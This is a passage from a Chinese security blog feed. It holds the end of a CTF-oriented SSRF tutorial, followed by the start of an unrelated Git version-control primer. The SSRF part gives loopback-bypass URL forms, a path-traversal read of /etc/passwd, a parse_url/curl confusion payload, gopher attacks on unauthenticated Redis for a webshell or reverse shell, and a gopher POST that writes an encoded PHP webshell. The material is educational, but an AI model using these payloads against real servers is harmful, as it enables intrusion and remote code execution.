，在对 @解析域名中，不同的处理函数存在处理差异<br>在 PHP 的 parse_url 中会识别 <code>www.ccc.com</code> ，而 libcurl 则识别为 <code>www.bbb.com</code> 。</p><h4 id="其他各种指向127001的地址"><a class="markdownIt-Anchor" href="#其他各种指向127001的地址">#</a> 其他各种指向 127.0.0.1 的地址</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/ #localhost就是127.0.0.1</span><br><span class="line">http://0/ #0在window下代表0.0.0.0，而在liunx下代表127.0.0.1</span><br><span class="line">http://[0:0:0:0:0:ffff:127.0.0.1]/ #linux可用</span><br><span class="line">http://[::]:80/ #linux可用</span><br><span class="line">http://127。0。0。1/ #句号会被解析成.</span><br><span class="line">http://①②⑦.⓪.⓪.① #Enclosed alphanumerics方法绕过</span><br><span class="line">http://127.1/</span><br><span class="line">http://127.00000.00000.001/ #第7.8行中0的数量多一点少一点都没影响，最后还是会指向127.0.0.1</span><br></pre></td></tr></table></figure></div><h4 id="常见限制"><a class="markdownIt-Anchor" href="#常见限制">#</a> 常见限制</h4><p>1. 限制为 <code>http://www.xxx.com </code> 域名</p><p>采用 http 基本身份认证的方式绕过，即 @<br> <code>http://www.xxx.com@www.xxc.com</code></p><p>2. 限制请求 IP 不为内网地址</p><p>当不允许 ip 为内网地址时：</p><blockquote><p>（1）采取短网址绕过<br>（2）采取特殊域名<br>（3）采取进制转换</p></blockquote><p>3. 限制请求只为 http 协议</p><blockquote><p>（1）采取 302 跳转（<a class="link" href="http://xip.io">xip.io <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>）<br>（2）采取短地址</p></blockquote><h3 id="不存在的协议头绕过"><a class="markdownIt-Anchor" href="#不存在的协议头绕过">#</a> 不存在的协议头绕过</h3><p>有关 <code>file_get_contents()</code>  函数的一个 trick，可以看作是 SSRF 的一个黑魔法，当 PHP 的  <code>file_get_contents()</code>  函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹，造成目录穿越漏洞，这时候只需不断往上跳转目录即可读到根目录的文件。</p><p>例子：</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">if</span>(!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^https/is&#x27;</span>,<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]))&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;no hack&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><p>限制只读 https 开头的路径，可以构造： <code>httpssss://</code></p><p>配合目录回读：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">httpsssss://../../../../../../etc/passwd</span><br><span class="line">httpsssss://abc../../../../../../etc/passwd</span><br><span class="line"></span><br><span class="line">httpsssss://../../../../../../flag</span><br></pre></td></tr></table></figure></div><p>可以得到一些敏感信息</p><h3 id="url的解析问题"><a class="markdownIt-Anchor" href="#url的解析问题">#</a> URL 的解析问题</h3><ul><li>利用 readfile 和 parse_url 解析差异</li></ul><p>贴一个极客大挑战的题</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_inner_ip</span>(<span class="params"><span class="variable">$url</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$match_result</span>=<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^(http|https)?:\/\/.*(\/)?.*$/&#x27;</span>,<span class="variable">$url</span>);</span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable">$match_result</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;url fomat error&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="variable">$url_parse</span>=<span class="title function_ invoke__">parse_url</span>(<span class="variable">$url</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span>(<span class="built_in">Exception</span> <span class="variable">$e</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;url fomat error&#x27;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable">$hostname</span>=<span class="variable">$url_parse</span>[<span class="string">&#x27;host&#x27;</span>];</span><br><span class="line">    <span class="variable">$ip</span>=<span class="title function_ invoke__">gethostbyname</span>(<span class="variable">$hostname</span>);</span><br><span class="line">    <span class="variable">$int_ip</span>=<span class="title function_ invoke__">ip2long</span>(<span class="variable">$ip</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">ip2long</span>(<span class="string">&#x27;127.0.0.0&#x27;</span>)&gt;&gt;<span class="number">24</span> == <span class="variable">$int_ip</span>&gt;&gt;<span class="number">24</span> || <span class="title function_ invoke__">ip2long</span>(<span class="string">&#x27;10.0.0.0&#x27;</span>)&gt;&gt;<span class="number">24</span> == <span class="variable">$int_ip</span>&gt;&gt;<span class="number">24</span> || <span class="title function_ invoke__">ip2long</span>(<span class="string">&#x27;172.16.0.0&#x27;</span>)&gt;&gt;<span class="number">20</span> == <span class="variable">$int_ip</span>&gt;&gt;<span class="number">20</span> || <span class="title function_ invoke__">ip2long</span>(<span class="string">&#x27;192.168.0.0&#x27;</span>)&gt;&gt;<span class="number">16</span> == <span class="variable">$int_ip</span>&gt;&gt;<span class="number">16</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">safe_request_url</span>(<span class="params"><span class="variable">$url</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">check_inner_ip</span>(<span class="variable">$url</span>))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$url</span>.<span class="string">&#x27; is inner ip&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="variable">$ch</span> = <span class="title function_ invoke__">curl_init</span>();</span><br><span class="line">        <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$ch</span>, CURLOPT_URL, <span class="variable">$url</span>);</span><br><span class="line">        <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$ch</span>, CURLOPT_RETURNTRANSFER, <span class="number">1</span>);</span><br><span class="line">        <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$ch</span>, CURLOPT_HEADER, <span class="number">0</span>);</span><br><span class="line">        <span class="variable">$output</span> = <span class="title function_ invoke__">curl_exec</span>(<span class="variable">$ch</span>);</span><br><span class="line">        <span class="variable">$result_info</span> = <span class="title function_ invoke__">curl_getinfo</span>(<span class="variable">$ch</span>);</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$result_info</span>[<span class="string">&#x27;redirect_url&#x27;</span>])</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="title function_ invoke__">safe_request_url</span>(<span class="variable">$result_info</span>[<span class="string">&#x27;redirect_url&#x27;</span>]);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="title function_ invoke__">curl_close</span>(<span class="variable">$ch</span>);</span><br><span class="line">        <span class="title function_ invoke__">var_dump</span>(<span class="variable">$output</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$url</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;url&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="variable">$url</span>))&#123;</span><br><span class="line">    <span class="title function_ invoke__">safe_request_url</span>(<span class="variable">$url</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><p>可以看到 check_inner_ip 通过 url_parse 检测是否为内网 ip，如果满足不是内网 ip ，通过 curl 请求 url 返回结果，这题就可以利用 curl 和 parse_url 解析的差异不同来绕过，让 parse_url 处理外部网站，最后 curl 请求内网网址。</p><p>最后的 payload 为</p><p><code>http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php</code></p><p>有关 URL 的解析问题更加详细可参考：</p><p><a class="link" href="https://blog.csdn.net/qq_38154820/article/details/109252839">https://blog.csdn.net/qq_38154820/article/details/109252839 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf">https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="gopher攻击redis"><a class="markdownIt-Anchor" href="#gopher攻击redis">#</a> Gopher 攻击 Redis</h3><h4 id="redis的协议数据流格式"><a class="markdownIt-Anchor" href="#redis的协议数据流格式">#</a> redis 的协议数据流格式</h4><p>数据流格式中 CR LF 表示的就是 \r \n</p><blockquote><p>*&lt;参数数量&gt; CR LF<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>&lt;</mo><mtext>参数</mtext><mn>1</mn><mtext>的字节数量</mtext><mo>&gt;</mo><mi>C</mi><mi>R</mi><mi>L</mi><mi>F</mi><mo>&lt;</mo><mtext>参数</mtext><mn>1</mn><mtext>的数据</mtext><mo>&gt;</mo><mi>C</mi><mi>R</mi><mi>L</mi><mi>F</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi></mrow><annotation encoding="application/x-tex">&lt;参数 1 的字节数量&gt; CR LF&lt;参数 1 的数据&gt; CR LF...</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72243em;vertical-align:-0.0391em;"></span><span class="mord cjk_fallback">参</span><span class="mord cjk_fallback">数</span><span class="mord">1</span><span class="mord cjk_fallback">的</span><span class="mord cjk_fallback">字</span><span class="mord cjk_fallback">节</span><span class="mord cjk_fallback">数</span><span class="mord cjk_fallback">量</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72243em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal">L</span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72243em;vertical-align:-0.0391em;"></span><span class="mord cjk_fallback">参</span><span class="mord cjk_fallback">数</span><span class="mord">1</span><span class="mord cjk_fallback">的</span><span class="mord cjk_fallback">数</span><span class="mord cjk_fallback">据</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal">L</span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span></span></span></span>&lt;参数 N 的字节数量&gt; CR LF<br> &lt;参数 N 的数据&gt; CR LF<br> 简单示例：</p></blockquote><p>*4：表示 4 个参数 config、set、dir、/var/www/html<br>$6：表示每个参数的字节长度 config 长度为 6</p><blockquote><p>*4<br>$6<br>config<br>$3<br>set<br>$3<br>dir<br>$13<br>/var/www/html</p></blockquote><p>Redis 一般都是绑定在 6379 端口，如果没有设置口令（默认是无），攻击者就可以通过 SSRF 漏洞未授权访问内网 Redis，一般用来写入 Crontab 定时任务用来反弹 shell，或者写入 webshell 等等。</p><p>在 CTF 题目中如果找到了内网的服务开了 6379 端口，一般来说就是 Redis 未授权访问漏洞，并且没有 ban 掉 gopher://，可以用网上的脚本一把梭，比如：Gopherus</p><h4 id="写入shell"><a class="markdownIt-Anchor" href="#写入shell">#</a> 写入 shell</h4><p><code>python2 gopherus.py --exploit redis</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/23/N2EnplomH1vFh8I.png" alt="image.png"></p><p>在有 SSRF 漏洞的地方输入生成的 payload— 即 gopher://127.0.0.1:6379 后面一大段，接下来会在目录下生成 shell.php。</p><p>要注意的是如果是在 html 的输入框中直接输入提交就行，但要在浏览器的 URL 输入的话，一定要记得 URL 编码一次。</p><h4 id="反弹shell"><a class="markdownIt-Anchor" href="#反弹shell">#</a> 反弹 shell</h4><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/23/wsnqCkpzOIoucZr.png" alt="image.png"></p><p>要配合 nc 监听</p><h3 id="攻击mysql"><a class="markdownIt-Anchor" href="#攻击mysql">#</a> 攻击 Mysql</h3><p>攻击内网 mysql 的条件：内网开启了 3306 端口，mysql 无密码</p><p>上面的题目复现就用到了这个</p><h3 id="gopher发送请求"><a class="markdownIt-Anchor" href="#gopher发送请求">#</a> Gopher 发送请求</h3><p>SSRF 漏洞是服务端请求伪造攻击，不论是 GET 或者是 POST 方法，都是为了达到一个目的，就是让服务端帮我们来执行请求。</p><p>那么在 CTF 中什么情况需要利用到这种方法呢，比如发现了一个内网的应用有上传的功能，我们需要通过 POST 提交数据，而且 Gopher 协议没有被 ban，我们就可以考虑构造一个请求去打内网，下面先从本地看看如何构造：</p><p>通常，我们可以利用 gopher:// 协议可以用来发送 Get 和 Post 请求，需要注意的点是要对发送的请求头中的空格和一些特殊字符进行 url 编码，如果是在 URL 中提交 payload 的时侯要再进行一次 url 编码，先来看看如何发送简单的请求。</p><ul><li>POST 请求</li></ul><p>在 phpstudy 写入 1.php</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Hello&quot;</span>.<span class="variable">$_POST</span>[<span class="string">&#x27;a&#x27;</span>];</span><br></pre></td></tr></table></figure></div><p>burpsuite 抓包获取请求头，POST 包的请求头有很多行，我们用的时候不用全部带上，但是要记得加上 Content-Type 和 Content-Length，也可以全部带上</p><blockquote><p>POST /1.php HTTP/1.1<br>Host: 192.168.0.102<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 7</p><p>a=world</p></blockquote><p>然后需要对空格和一些特殊字符进行 url 编码，注意把其中的换行的地方加上 %0D%0A，当然手动加肯定是太麻烦了，这里给出一个脚本。</p><p>一键编码脚本：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">test =\</span><br><span class="line"><span class="string">&quot;&quot;&quot;POST /1.php HTTP/1.1</span></span><br><span class="line"><span class="string">Host: 192.168.0.102</span></span><br><span class="line"><span class="string">Content-Type: application/x-www-form-urlencoded</span></span><br><span class="line"><span class="string">Content-Length: 7</span></span><br><span class="line"><span class="string">a=world</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line">tmp = urllib.parse.quote(test)</span><br><span class="line">new = tmp.replace(<span class="string">&#x27;%0A&#x27;</span>,<span class="string">&#x27;%0D%0A&#x27;</span>)</span><br><span class="line">result = <span class="string">&#x27;_&#x27;</span>+new</span><br><span class="line"><span class="built_in">print</span>(result)</span><br></pre></td></tr></table></figure></div><p>在里面加上你的请求体运行，然后我们在输出结果前面手动加上 gopher 协议头和 IP: 端口，最终为：</p><p><code>gopher://192.168.0.102:80/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.0.102%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%207%0D%0A%0D%0Aa%3Dworld%0D%0A</code></p><p>然后用 curl 命令发出我们的请求，可以看到成功获取响应包了。</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/23/lV8z5cASXZLnbNh.png" alt="image.png"></p><p>需要注意的是，如果要在 url 传入的话需要将发送的 POST 后面一大串再 url 编码一次</p><ul><li>GET 请求：</li></ul><p>GET 请求发送和 POST 请求基本一样</p><p>相关例题：2020 强网杯 half_infiltration</p><p>通过前面一系列操作获得 ssrf.php</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="comment">//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网</span></span><br><span class="line">    <span class="variable">$url</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;we_have_done_ssrf_here_could_you_help_to_continue_it&#x27;</span>] ?? <span class="literal">false</span>; </span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/flag|var|apache|conf|proc|log/i&quot;</span> ,<span class="variable">$url</span>))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$url</span>)</span><br><span class="line">    &#123; </span><br><span class="line">            <span class="variable">$ch</span> = <span class="title function_ invoke__">curl_init</span>(); </span><br><span class="line">            <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$ch</span>, CURLOPT_URL, <span class="variable">$url</span>); </span><br><span class="line">            <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$ch</span>, CURLOPT_HEADER, <span class="number">1</span>);</span><br><span class="line">            <span class="title function_ invoke__">curl_exec</span>(<span class="variable">$ch</span>);</span><br><span class="line">            <span class="title function_ invoke__">curl_close</span>(<span class="variable">$ch</span>); </span><br><span class="line">     &#125; </span><br><span class="line"><span class="meta">?&gt;</span>  </span><br></pre></td></tr></table></figure></div><p>跑端口 40000 跑出来个登录框，然后有上传功能，参数 file 和 content 是上传文件</p><p>于是用 gopher 协议发送一个 POST 请求写马，payload 如下：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">Cookie: PHPSESSID=bv2afbkkbbpgkio8tjmai40ob7</span><br><span class="line">Content-Length: 174</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Connection: close</span><br><span class="line"> </span><br><span class="line">file=php://filter/%2577rite=string.rot13|convert.Base64-decode|convert.iconv.utf-7.utf-8/resource=1.php&amp;content=K0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ</span><br></pre></td></tr></table></figure></div><p>最后 payload 如下，传入参数需要注意二次 url 编码：</p><p><code>http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%2520/index.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250ACookie%253A%2520PHPSESSID%253Dbv2afbkkbbpgkio8tjmai40ob7%250AContent-Length%253A%2520174%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AConnection%253A%2520close%250d%250A%250Afile%253Dphp%253A//filter/%25252577rite%253Dstring.rot13%257Cconvert.Base64-decode%257Cconvert.iconv.utf-7.utf-8/resource%253D1.php%2526content%253DK0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;ssrf&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#ssrf&quot;&gt;#&lt;/a&gt; SSRF&lt;/h1&gt;
&lt;h2 id=&quot;dasctf-x-gfctf-2024-easysignin&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot;</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>Git&amp;Docker</title>
    <link href="http://example.com/2024/04/16/Git-Docker/"/>
    <id>http://example.com/2024/04/16/Git-Docker/</id>
    <published>2024-04-16T01:58:59.000Z</published>
    <updated>2024-07-04T15:14:45.715Z</updated>
    
    <content type="html"><![CDATA[<h1 id="git"><a class="markdownIt-Anchor" href="#git">#</a> Git</h1><h2 id="版本控制"><a class="markdownIt-Anchor" href="#版本控制">#</a> 版本控制</h2><h3 id="介绍"><a class="markdownIt-Anchor" href="#介绍">#</a> 介绍</h3><h4 id="1什么是版本控制"><a class="markdownIt-Anchor" href="#1什么是版本控制">#</a> 1. 什么是版本控制</h4><p>​版本控制（Revision control）是一种在开发的过程中用于管理我们对文件、目录或工程等内容的修改历史，方便查看更改历史记录，备份以便恢复以前的版本的软件工程技术。简单来说就是用于管理多人协同开发项目的技术。 <strong>版本迭代</strong></p><h4 id="2为什么要有版本控制"><a class="markdownIt-Anchor" href="#2为什么要有版本控制">#</a> 2. 为什么要有版本控制？</h4><p>​    没有进行版本控制或者版本控制本身缺乏正确的流程管理，在软件开发过程中将会引入很多问题，如软件代码的一致性、软件内容的冗余、软件过程的事物性、软件开发过程中的并发性、软件源代码的安全性，以及软件的整合等问题。无论是工作还是学习，或者是自己做笔记，都经历过这样一个阶段！我们就迫切需要一个版本控制工具。（多人开发就必须要使用版本控制）<br>​    使用版本控制之后可以给你带来的一些便利：</p><blockquote><p>● 实现跨区域多人协同开发<br>● 追踪和记载一个或者多个文件的历史记录<br>● 组织和保护你的源代码和文档<br>● 统计工作量<br>● 并行开发、提高开发效率<br>● 跟踪记录整个软件的开发过程<br>● 减轻开发人员的负担，节省时间，同时降低人为错误</p></blockquote><h4 id="3常见版本控制工具"><a class="markdownIt-Anchor" href="#3常见版本控制工具">#</a> 3. 常见版本控制工具</h4><p>主流的版本控制器有如下这些：</p><blockquote><p>● <strong>Git</strong><br>● SVN（Subversion）<br>● CVS（Concurrent Versions System）<br>● VSS（Micorosoft Visual SourceSafe）<br>● TFS（Team Foundation Server）<br>● Visual Studio Online</p></blockquote><p>版本控制产品非常的多（Perforce、Rational ClearCase、RCS（GNU Revision Control System）、Serena Dimention、SVK、BitKeeper、Monotone、Bazaar、Mercurial、SourceGear Vault），现在影响力最大且使用最广泛的是 Git 与 SVN</p><h3 id="分类"><a class="markdownIt-Anchor" href="#分类">#</a> 分类</h3><h4 id="1本地版本控制"><a class="markdownIt-Anchor" href="#1本地版本控制">#</a> 1. 本地版本控制</h4><p>记录文件每次的更新，可以对每个版本做一个快照，或是记录补丁文件，适合个人用，如 RCS。</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/16/7OWankz9bgmRxvZ.png" alt="image.png"></p><h4 id="2集中式版本控制-svn"><a class="markdownIt-Anchor" href="#2集中式版本控制-svn">#</a> 2. 集中式版本控制 （SVN）</h4><p>所有的版本数据都保存在服务器上，协同开发者从服务器上同步更新或上传自己的修改。</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/16/EvP4MYdpjqthKH1.png" alt="image.png"></p><p>所有的版本数据都存在服务器上，用户的本地只有自己以前所同步的版本，如果不连网的话，用户就看不到历史版本，也无法切换版本验证问题，或在不同分支工作。而且，所有数据都保存在单一的服务器上，有很大的风险这个服务器会损坏，这样就会丢失所有的数据，当然可以定期备份。代表产品：SVN、CVS、VSS。</p><h4 id="3分布式版本控制-git"><a class="markdownIt-Anchor" href="#3分布式版本控制-git">#</a> 3. 分布式版本控制 （Git）</h4><p>每个人都有全部代码，所以有一定风险</p><p>所有版本信息仓库全部同步到本地的每个用户，这样就可以在本地查看所有版本历史，可以离线在本地提交，只需在连网时 push 到相应的服务器或其他用户那里。由于每个用户那里保存的都是所有的版本数据，只要有一个用户的设备没有问题就可以恢复所有的数据，但这增加了本地存储空间的占用。</p><p>不会因为服务器损坏或者网络问题造成不能工作的情况</p><h3 id="git和svn的区别"><a class="markdownIt-Anchor" href="#git和svn的区别">#</a> Git 和 SVN 的区别</h3><p>​SVN 是<strong>集中式版本控制系统</strong>，版本库是集中放在<strong>中央服务器</strong>的，而工作的时候，用的都是自己的电脑，所以首先要从中央服务器得到最新的版本，然后工作，完成工作后，需要把自己做完的活推送到中央服务器。集中式版本控制系统是<strong>必须联网</strong>才能工作，对网络带宽要求较高。<br>​       Git 是<strong>分布式版本控制系统</strong>，<strong>没有中央服务器</strong>，每个人的电脑就是一个完整的版本库，工作的时候<strong>不需要联网</strong>了，因为版本都在自己电脑上。协同的方法是这样的：比如说自己在电脑上改了文件 A，其他人也在电脑上改了文件 A，这时，你们两之间只需把各自的修改推送给对方，就可以互相看到对方的修改了。Git 可以直接看到更新了哪些代码和文件！</p><p><strong>Git 是目前世界上最先进的分布式版本控制系统。</strong></p><h2 id="git理论"><a class="markdownIt-Anchor" href="#git理论">#</a> Git 理论</h2><h3 id="工作区域"><a class="markdownIt-Anchor" href="#工作区域">#</a> 工作区域</h3><blockquote><ul><li>** 工作区（workspace）：** 就是你在电脑里能看到的目录。</li><li>** 暂存区（index）：** 英文叫 stage 或 index。一般存放在 <strong>.git</strong> 目录下的 index 文件（.git/index）中，所以我们把暂存区有时也叫作索引（index）。</li><li>** 版本库（Repository）：** 工作区有一个隐藏目录 <strong>.git</strong>，这个不算工作区，而是 Git 的版本库。</li><li><strong>远程 Git 仓库（Remote)</strong></li></ul></blockquote><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/16/4wdCj32AFk1QaiZ.png" alt="image.png"></p><h3 id="工作流程"><a class="markdownIt-Anchor" href="#工作流程">#</a> 工作流程</h3><blockquote><p>1. 在本地目录添加、修改文件</p><p>2. 将需要进行版本管理的文件添加至暂存区  //git add .</p><p>3. 将暂存区文件提交到 Git 仓库  //git commit</p><p>4. 将本地仓库文件提交到远程仓库  //git push</p></blockquote><p>git 